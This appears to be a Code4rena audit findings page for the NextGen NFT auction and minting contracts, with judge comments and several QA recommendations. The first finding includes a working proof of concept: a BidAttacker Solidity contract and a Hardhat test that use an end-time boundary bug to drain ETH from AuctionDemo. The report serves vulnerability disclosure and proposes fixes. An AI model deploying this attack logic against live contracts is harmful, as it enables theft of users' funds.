Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 73/243
Findings: 3
Award: $38.63
π Selected for report: 0
π Solo Findings: 0
π Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
A malicious attacker can steal the funds from the AuctionDemo contract by calling claimAuction
and cancelAllBids
in one transaction if, right before the auction is finished, the auctionContract still has more funds from other live auctions.
Suppose there is two auctions running, for a token 1 and token 2
BidAttacker.sol
to hardhat/smart-contracts
. Here is an example (each step is highlighted in the comments):File: hardhat/smart-contracts/BidAttacker.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./IERC721.sol"; import "./Ownable.sol"; import "./IMinterContract.sol"; import "./IERC721Receiver.sol"; interface IAuctionDemo { function returnHighestBid(uint256 _tokenId) external view returns (uint256); function participateToAuction(uint256 _tokenId) external payable; function claimAuction(uint256 _tokenId) external; function cancelAllBids(uint256 _tokenId) external; } contract BidAttacker is Ownable { IMinterContract public minterContract; IAuctionDemo public auctionContract; IERC721 public gencoreContract; bool public isHacked; uint256 tokenId; // keep in storage for later withdrawal constructor(address _auctionContractAddress, address _minterContractAddress, address _gencoreContractAddress) { minterContract = IMinterContract(_minterContractAddress); auctionContract = IAuctionDemo(_auctionContractAddress); gencoreContract = IERC721(_gencoreContractAddress); } // main attack function function bidAttack(uint256 _tokenId) public payable onlyOwner { tokenId = _tokenId; // check if the current block.timestamp is last require(block.timestamp == minterContract.getAuctionEndTime(_tokenId), "Wrong block.timestamp"); // place a bid auctionContract.participateToAuction{value: msg.value}(_tokenId); // claimAuction auctionContract.claimAuction(_tokenId); // call cancelBid on the last block.timestamp auctionContract.cancelAllBids(_tokenId); } // withdraw funds and token to the attacker EOA account function withdraw() public { (bool success,) = payable(owner()).call{value: address(this).balance}(""); require(success, "Withdrawal failed"); gencoreContract.safeTransferFrom(address(this), owner(), tokenId); } // receive the funds and withdraw to attackerEOA receive() external payable { withdraw(); } function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } }
hardhat/scripts/fixtureDeployments.js
by adding attackerEOA signer, deploying AuctionDemo.sol
and BidAttacker.sol
contracts. Updated fixtureDeployments.js
file example:The edits are highlighted with "POC" tag in comments
File: hardhat/scripts/fixtureDeployments.js const { ethers } = require("hardhat") // Setup test environment: const fixturesDeployment = async () => { const signersList = await ethers.getSigners() const owner = signersList[0] const addr1 = signersList[1] const addr2 = signersList[2] const addr3 = signersList[3] const attackerEOA = signersList[4]; // for POCs const delegation = await ethers.getContractFactory( "DelegationManagementContract", ) const hhDelegation = await delegation.deploy() const randoms = await ethers.getContractFactory("randomPool") const hhRandoms = await randoms.deploy() const nextGenAdmins = await ethers.getContractFactory("NextGenAdmins") const hhAdmin = await nextGenAdmins.deploy() const nextGenCore = await ethers.getContractFactory("NextGenCore") const hhCore = await nextGenCore.deploy( "Next Gen Core", "NEXTGEN", await hhAdmin.getAddress(), ) // This example uses the NXT Randomizer const randomizer = await ethers.getContractFactory("NextGenRandomizerNXT") const hhRandomizer = await randomizer.deploy( await hhRandoms.getAddress(), await hhAdmin.getAddress(), await hhCore.getAddress() ) const nextGenMinter = await ethers.getContractFactory("NextGenMinterContract") const hhMinter = await nextGenMinter.deploy( await hhCore.getAddress(), await hhDelegation.getAddress(), await hhAdmin.getAddress(), ) // POCs start const auction = await ethers.getContractFactory("auctionDemo"); const hhAuction = await auction.deploy( await hhMinter.getAddress(), await hhCore.getAddress(), await hhAdmin.getAddress() ); const bidAttacker = await ethers.getContractFactory("BidAttacker"); const hhBidAttacker = await bidAttacker.connect(attackerEOA).deploy( await hhAuction.getAddress(), await hhMinter.getAddress(), await hhCore.getAddress() ) // POCs end const contracts = { hhAdmin: hhAdmin, hhCore: hhCore, hhDelegation: hhDelegation, hhMinter: hhMinter, hhRandomizer: hhRandomizer, hhRandoms: hhRandoms, // POCs start hhAuction: hhAuction, hhBidAttacker: hhBidAttacker, // POCs end } const signers = { owner: owner, addr1: addr1, addr2: addr2, addr3: addr3, attackerEOA: attackerEOA, // for POCs } return { signers, contracts, } } module.exports = fixturesDeployment
POCs.test.js
to hardhat/test
. Here is the hardhat POCs.test.js
script to run the attack scenario in javascript (each step is highlighted in the comments and it will print all the balances to the console):File: hardhat/test/POCs.test.js const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers"); const { expect } = require("chai"); const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js"); const { time } = require('@nomicfoundation/hardhat-network-helpers'); // for POCs let signers; let contracts; describe("Proof of Concept", function () { before(async function () { ({ signers, contracts } = await loadFixture(fixturesDeployment)); }); context("Bid_Attack", () => { before("#dataWereAdded", async function () { // create collection_1 await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"] ); // set collection_1 data await contracts.hhCore.setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); // set collection_1 costs await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 100, // _timePeriod :: POC edited from 0 to 100 1, // _salesOptions "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress ); // set collection_1 phases await contracts.hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot ); const dataAdded = await contracts.hhCore.retrievewereDataAdded(1); // add minter contract to hh core await contracts.hhCore.addMinterContract(contracts.hhMinter); // add randomizer to hh core collection 1 await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer); expect(dataAdded).equal(true); }); let tokenId, tokenId2; // create collection and add data it("#mintAndAuction", async function () { // set auction end time for 100 seconds from now const auctionEndTime = await time.latest() + 100; // get tokenId gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); tokenId = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1); tokenId2 = tokenId + BigInt(1); // mint and put on auction in same tx await contracts.hhMinter.mintAndAuction( signers.addr1.address, // _recipient '{"tdh": "100"}', // _tokenData 2, //_saltfun_o 1, // _collectionID auctionEndTime // _auctionEndTime ); await contracts.hhMinter.mintAndAuction( signers.addr1.address, // _recipient '{"tdh": "100"}', // _tokenData 2, //_saltfun_o 1, // _collectionID auctionEndTime // _auctionEndTime ); // check if auction went live expect(await contracts.hhMinter.getAuctionStatus(tokenId)).equal(true); expect(await contracts.hhMinter.getAuctionStatus(tokenId2)).equal(true); // approve tokenId const auctionContractAddress = await contracts.hhAuction.getAddress(); await contracts.hhCore.connect(signers.addr1).approve(auctionContractAddress, tokenId); }); it("#placeBidsForToken1", async function () { const THREE_ETH = BigInt(3 * 1e18); await contracts.hhAuction.connect(signers.addr1).participateToAuction(tokenId, { value: THREE_ETH }); // 3 eth const currentBid = await contracts.hhAuction.returnHighestBid(tokenId); expect(currentBid).equal(THREE_ETH); // highest bid has to be 3 ETH }); it("#placeBidsForToken2", async function () { // to have other balance const TEN_ETH = BigInt(10 * 1e18); await contracts.hhAuction.connect(signers.addr1).participateToAuction(tokenId2, { value: TEN_ETH }); // 10 eth const currentBid = await contracts.hhAuction.returnHighestBid(tokenId2); expect(currentBid).equal(TEN_ETH); // highest bid has to be 10 ETH }); it("#Attack", async function () { const TEN_ETH = BigInt(10 * 1e18); // Pre-condition: the auctionContract balance has to have the balance higher than the total amount of all bids // > For instance: have other auctions running, that's why we have #placeBidsForToken2 test // check auctionEndTime and execute attack during the final second const auctionEndTime = await contracts.hhMinter.getAuctionEndTime(tokenId); await time.increaseTo(auctionEndTime - BigInt(1)); // was adding plus one second // On a live blockchain, an attacker can create a mechanism to periodically check // the current timestamp and trigger the transaction when the desired timestamp is reached // check and log ETH balances before the attack const attackerBalanceBefore = await ethers.provider.getBalance(signers.attackerEOA.address); const auctionBalanceBefore = await ethers.provider.getBalance(await contracts.hhAuction.getAddress()); console.log("Attacker ETH before = ", parseInt(attackerBalanceBefore) / 1e18); console.log("Auction ETH before = ", parseInt(auctionBalanceBefore) / 1e18); console.log("Previous token owner: ", await contracts.hhCore.ownerOf(tokenId)); // execute + send enough funds // the bid can either be the sum of auction contract balance minus the sum of bids for this tokenId (in this case equals 10 ETH) // or it can equal the current highestBid = 1 wei - in this case the auction might still have some ETH left from other running auctions await contracts.hhBidAttacker.connect(signers.attackerEOA).bidAttack(tokenId, { value: TEN_ETH }); // check and log balances after the attack const attackerBalanceAfter = await ethers.provider.getBalance(signers.attackerEOA.address); const auctionBalanceAfter = await ethers.provider.getBalance(await contracts.hhAuction.getAddress()); // the attacker will receive the token and his bid back console.log("Attacker ETH after = ", parseInt(attackerBalanceAfter) / 1e18); // the auction contract will loose all the funds (attacker receives his bid and admins receive the other ones) console.log("Auction ETH after = ", parseInt(auctionBalanceAfter) / 1e18); console.log("New token owner: ", await contracts.hhCore.ownerOf(tokenId)); console.log("Attacker address: ", signers.attackerEOA.address); expect(await contracts.hhCore.ownerOf(tokenId)).to.equal(signers.attackerEOA.address); // check if attacker now owns the token expect(attackerBalanceAfter).to.be.greaterThan(attackerBalanceBefore - BigInt(0.001 * 1e18)); // check if attacker balance hasn't changed minus gas fees }); }) });
cd hardhat
npx hardhat test --grep "Bid_Attack"
Manual Review
Replace block.timestamp >= minter.getAuctionEndTime(_tokenid)
in claimAuction()
with ``block.timestamp > minter.getAuctionEndTime(_tokenid)`.
AuctionDemo.sol#L105
Timing
#0 - c4-pre-sort
2023-11-14T09:56:18Z
141345 marked the issue as primary issue
#1 - c4-pre-sort
2023-11-14T23:33:10Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-04T21:42:37Z
alex-ppg marked the issue as duplicate of #1323
#3 - c4-judge
2023-12-08T17:40:14Z
alex-ppg marked the issue as satisfactory
π Selected for report: bird-flu
Also found by: 00decree, 0xAadi, AS, Audinarey, DeFiHackLabs, Eigenvectors, Fitro, Hama, Kaysoft, Krace, REKCAH, SovaSlava, The_Kakers, Viktor_Cortess, cartlex_, degensec, devival, evmboi32, funkornaut, jacopod, openwide, peanuts, rotcivegaf, smiling_heretic, xAriextz, xiao
25.2356 USDC - $25.24
Sending the highest bid to the auction contract owner poses a centralization risk. Owners of auctioned tokens would have to rely solely on trust to auctionDemo contract owners to get the funds.
According to the scope description of AuctionDemo.sol
: βThe auctionDemo smart contract holds the current auctions after the mintAndAuction
functionality is called. Users can bid on a token, and the highest bidder can claim the token after an auction finishes.β Below is a withdrawal part of claimAuction
function, which has auctionDemo.owner()
as a receiver of the funds:
File: smart-contracts/AuctionDemo.sol 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); 113: (bool success, ) = payable(owner()).call{value: highestBid}(""); 114: emit ClaimAuction(owner(), _tokenid, success, highestBid);
Manual Review
Send the funds to the actual token holder to make the auction process trustless. Replace the receiver owner()
in claimAuction
:
File: smart-contracts/AuctionDemo.sol 113: (bool success, ) = payable(owner()).call{value: highestBid}(""); 114: emit ClaimAuction(owner(), _tokenid, success, highestBid);
with:
File: smart-contracts/AuctionDemo.sol 113: (bool success, ) = payable(ownerOfToken).call{value: highestBid}(""); 114: emit ClaimAuction(ownerOfToken, _tokenid, success, highestBid);
ETH-Transfer
#0 - c4-pre-sort
2023-11-19T15:00:34Z
141345 marked the issue as duplicate of #245
#1 - c4-judge
2023-12-08T22:25:13Z
alex-ppg marked the issue as satisfactory
π Selected for report: The_Kakers
Also found by: 00xSEV, 0x3b, Arabadzhiev, DeFiHackLabs, Fulum, Madalad, MrPotatoMagic, SpicyMeatball, Tadev, ZanyBonzy, ZdravkoHr, alexfilippov314, audityourcontracts, cheatc0d3, devival, dy, evmboi32, immeas, lsaudit, mrudenko, oakcobalt, oualidpro, pipidu83, r0ck3tz, rishabh, rotcivegaf, tpiliposian, xAriextz
13.3948 USDC - $13.39
_setFinalSupplyTimeAfterMint
param in the setCollectionData
would make the collection idle.Recommendation: add require(_setFinalSupplyTimeAfterMint > block.timestamp)
in setCollectionData
of NextGenCore.sol: 147
isAdminContract()
in RandomizerNXT.updateAdminsContract
All main contracts such as NextGenCore, MinterContract, RandomizerRNG, and RandomizerVRF have a check if the new admins' contract is an admin contract. However, the RandomizerNXT lacks this check. This would allow admins to submit irrelevant contract as admin contract in RandomizerNXT.
Recommendation: Replace
function updateAdminsContract(address _admin) public FunctionAdminRequired(this.updateAdminsContract.selector) { adminsContract = INextGenAdmins(_admin); }
RandomizerNXT.sol#L45 with:
function updateAdminsContract(address _admin) public FunctionAdminRequired(this.updateAdminsContract.selector) { require(INextGenAdmins(_admin).isAdminContract() == true, "Contract is not Admin"); adminsContract = INextGenAdmins(_admin); }
_setFinalSupplyTimeAfterMint
param in setCollectionData
would make the collection idle.Recommendation: add require(_setFinalSupplyTimeAfterMint > block.timestamp)
in setCollectionData
of NextGenCore.sol: 147
totalSupplyOfCollection
and collectionTotalSupply
return different valuesImpact
According to the docs, the retrieveCollectionAdditionalData()
function returns the additional data that were set for a collection, including collectionTotalSupply
. Another one, the totalSupplyOfCollection()
function, returns the total token supply of a collection (collectionCirculationSupply - burnAmount
).
As a consequence, when there is a difference between collectionCirculationSupply
and collectionTotalSupply
, or if some tokens are burned, the totalSupplyOfCollection
value would decrease while the collectionAdditionalData[_collectionID].collectionTotalSupply
would remain the same. In this case, the retrieveCollectionAdditionalData()
function would not provide up-to-date information to the users and leak its value.
Proof of Concept
collectionTotalSupply
to 10retrieveCollectionAdditionalData(_collectionID).collectionTotalSupply
but would see 10 as a return value instead of 5, which he would see in totalSupplyOfCollection
; this would make the user confused.retrieveCollectionAdditionalData
and totalSupplyOfCollection
functions:
File: smart-contracts/NextGenCore.sol function retrieveCollectionAdditionalData(uint256 _collectionID) public view returns(address, uint256, uint256, uint256, uint, address){ return (collectionAdditionalData[_collectionID].collectionArtistAddress, collectionAdditionalData[_collectionID].maxCollectionPurchases, collectionAdditionalData[_collectionID].collectionCirculationSupply, collectionAdditionalData[_collectionID].collectionTotalSupply, collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint, collectionAdditionalData[_collectionID].randomizerContract); } // .. other code function totalSupplyOfCollection(uint256 _collectionID) public view returns (uint256) { return (collectionAdditionalData[_collectionID].collectionCirculationSupply - burnAmount[_collectionID]); }
Recommended Mitigation Steps Two options:
collectionTotalSupply
refers to the initial total supply (before any tokens are burned), then rename it to collectionMaxSupply
(preferred option).getPrice
would return zero if the collection does not exist or its data is not set yetRecommendation: Check if the collection has data added before calculating the prices. For instance, add require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data to a collection");
at the beginning of getPrice
function: 530-568
returnIndex()
returns the same result as getWord
does. Set getWord()
function visibility to public
and remove returnIndex()
function.
XRandoms.sol#L15, XRandoms.sol#L45-L47Withdraw
event only shows the initiator's address but not the receiver's (owner); this might be insufficient to understand for the event's reader. Add the receiver's address (msg.sender) as an event argument.
RandomizerRNG.sol#L24, RandomizerRNG.sol#L83address indexed _add
with address indexed _address
to improve the code readability.
There are 7 instances of this issueFile: smart-contracts/AuctionDemo.sol 22: event ClaimAuction(address indexed _add, uint256 indexed tokenid, bool status, uint256 indexed funds); 23: event Refund(address indexed _add, uint256 indexed tokenid, bool status, uint256 indexed funds); 24: event CancelBid(address indexed _add, uint256 indexed tokenid, uint256 index, bool status, uint256 indexed funds);
File: smart-contracts/MinterContract.sol 124: event PayArtist(address indexed _add, bool status, uint256 indexed funds); 125: event PayTeam(address indexed _add, bool status, uint256 indexed funds); 126: event Withdraw(address indexed _add, bool status, uint256 indexed funds);
File: smart-contracts/RandomizerRNG.sol 24: event Withdraw(address indexed _add, bool status, uint256 indexed funds);
[24]
auctionInfoStru
with AuctionInfoStruct
to improve the code readability and follow the Solidity naming convention.File: smart-contracts/AuctionDemo.sol 43: struct auctionInfoStru {
[43]
Any function that registers admins can also remove them by just passing _status
as false
. The removal functionality is not included in documentation at the moment, which might confuse users who are not proficient in reading Solidity code. Instances:
38, 44, 50, 58
If NextGenAdmins
contract owner deregisters themselves, they will lose GlobalAdmin
status, which might confuse the owner and users. Recommendation: in registerAdmin()
add require(msg.sender != owner()), "You are an owner!"
38-40
struct collectionAdditonalDataStructure { // ... other code uint256 setFinalSupplyTimeAfterMint; address randomizerContract; }
52-53
Recommendation:
1. Remove the randomizerContract
variable in the collectionAdditonalDataStructure
struct
52
2. Remove the line 172
3. Replace collectionAdditionalData[_collectionID].randomizerContract
with address(collectionAdditionalData[_collectionID].randomizer)
in setTokenHash
and retrieveCollectionAdditionalData
functions 300, 438
Unnecessary mapping artistSignatures
, as artistSigned
would be enough. Remove the artistSignatures
mapping and _signature
parameter in the artistSignature()
function to save gas and improve readability. Instances in NextGenCore.sol: 89, 260, 257
Alternatively, artistSigned
can be removed and in every check can be used artistsSignatures[_collectionID] != ""
; however, this would also require an additional check for empty strings in the artistSignature()
function.
Artists can sign with empty strings. In order to prevent this, add a check for empty strings require (_signature != "")
in the artistSignature()
function. 257-262
The NextGenCore.sol
constructor set calls ERC2981._setDefaultRoyalty
setting 6.9% royalty rate to an unknown address 0x1B1289E34Fe05019511d7b436a5138F361904df0
, however, the usage of additional royalties on top of MinterContract collection royalties is not justified and might confuse users.
Recommendation: either explain the reason for NextGenCore royalties and its difference from MinterContract's royalties in documentation or remove _setDefaultRoyalty(0x1B1289E34Fe05019511d7b436a5138F361904df0, 690);
from the constructor. 111
AuctionDemo.sol: auctionDemo β AuctionDemo MinterContract.sol: NextGenMinterContract β MinterContract RandomizerNXT.sol: NextGenRandomizerNXT β RandomizerNXT RandomizerRNG.sol: NextGenRandomizerRNG β RandomizerRNG RandomizerVRF.sol: NextGenRandomizerVRF β RandomizerVRF XRandoms.sol: randomPool β XRandoms
_mintProcessing
instead of having them in every function that leads to a token mint.In order to increase readability and make it easier to spot potential bugs and inconsistencies, it is recommended to remove the following instances:
File: smart-contracts/NextGenCore.sol 180: collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; 181: if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { 191: collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; 192: if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { 216: collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1; 217: if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
File: smart-contracts/MinterContract.sol 183: uint256 collectionTokenMintIndex; 185: collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID) + _numberOfTokens[y] - 1; 186: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); 230: uint256 collectionTokenMintIndex; 231: collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1; 232: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply"); 263: uint256 collectionTokenMintIndex; 264: collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID); 265: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply"); 278: uint256 collectionTokenMintIndex; 279: collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); 280: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); 358: uint256 collectionTokenMintIndex; 359: collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); 360: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
183, 185-186, 230-232, 263-265, 278-280, 358-360
Instead, in the _mintProcessing
functionality of NextGenCore.sol, add a single supply check, supply increase logic, and a mintIndex generator:
require(_mintIndex <= collectionAdditionalData[_collectionID].reservedMaxTokensIndex, "No supply"); ++collectionAdditionalData[_collectionID].collectionCirculationSupply;
Also, mintIndex
can be generated at the last stages in gencore._mintProcessing
instead of calculating it in MinterContract.sol function.
participateToAuction
to participateInAuction
File: smart-contracts/AuctionDemo.sol 57: function participateToAuction(uint256 _tokenid) public payable {
maxCollectionPurchases
to maxMintsPerAddress
or maxAllowance
in all instances for better readability. According to the documentation, the maxCollectionPurchases
variable relates to the maximum amount of tokens allowed to be minted per address. Users or other developers can misunderstand the current naming:struct collectionAdditonalDataStructure { // ... other code uint256 maxCollectionPurchases; // ... other code }
NextGenCore.sol: 46, 145, 147, 151, 160, 163, 400, 439
Rename the wereDataAdded
variable to isDataAdded
and retrievewereDataAdded
to retrieveIsDataAdded
in order to improve the readability of the code and make it more consistent with common naming conventions. Instances in NextGenCore.sol:
65, 157, 377, 378
Rename the _recipient
parameter to _mintTo
(as it is in the rest of the codebase) in airDropTokens
and _mintProcessing
in order to improve the readability of the code and make it more consistent with common naming conventions. Instances in NextGenCore.sol: 178, 182, 183, 227, 231
Rename the freezeCollection
function to permanentlyFreezeCollection
to provide developers and users with a clearer understanding of the long-term impact of invoking that function. NextGenCore.sol: 292
Rename the viewColIDforTokenID
function to viewCollectionIDforTokenID
to improve the readability of the code and make it more consistent with common naming conventions. NextGenCore.sol: 372
Rename the retrieveTokensMintedALPerAddress
function to retrieveAllowlistTokensMintedByAddress
to improve the readability of the code and make it more consistent with common naming conventions. NextGenCore.sol: 404
Rename the following mappings to improve the readability of the code in MinterContract.sol:
collectionTotalAmount
to collectionFundsRaised
: 23
mintToAuctionData
to tokenToAuctionEndTime
: 112
mintToAuctionStatus
to tokenToAuctionStatus
: 115
gencore
to gencoreContract
for naming consistency: 118
Rename the following error messages to improve the readability and user experience in MinterContract.sol:
AL limit
to Reached Allowance Limit
in 2 instances: 213, 217
Wrong ETH
to Not Enough ETH
in 3 instances: 233, 266, 361
#0 - 141345
2023-11-25T08:05:30Z
1965 devival l r nc 3 0 7
L 1 l L 2 d dup of https://github.com/code-423n4/2023-10-nextgen-findings/issues/636 L 3 i L 4 l L 5 l L 6 n L 7 n L 8 n L 9 n L 10 n L 11 n L 12 n
#1 - c4-pre-sort
2023-11-25T08:05:41Z
141345 marked the issue as sufficient quality report
#2 - alex-ppg
2023-12-08T14:59:48Z
The Warden's QA report has been graded B based on a score of 15 combined with a manual review per the relevant QA guideline document located here.
The Warden's submission's score was assessed based on the following accepted findings:
returnIndex
Potentially Redundant#3 - c4-judge
2023-12-08T14:59:55Z
alex-ppg marked the issue as grade-b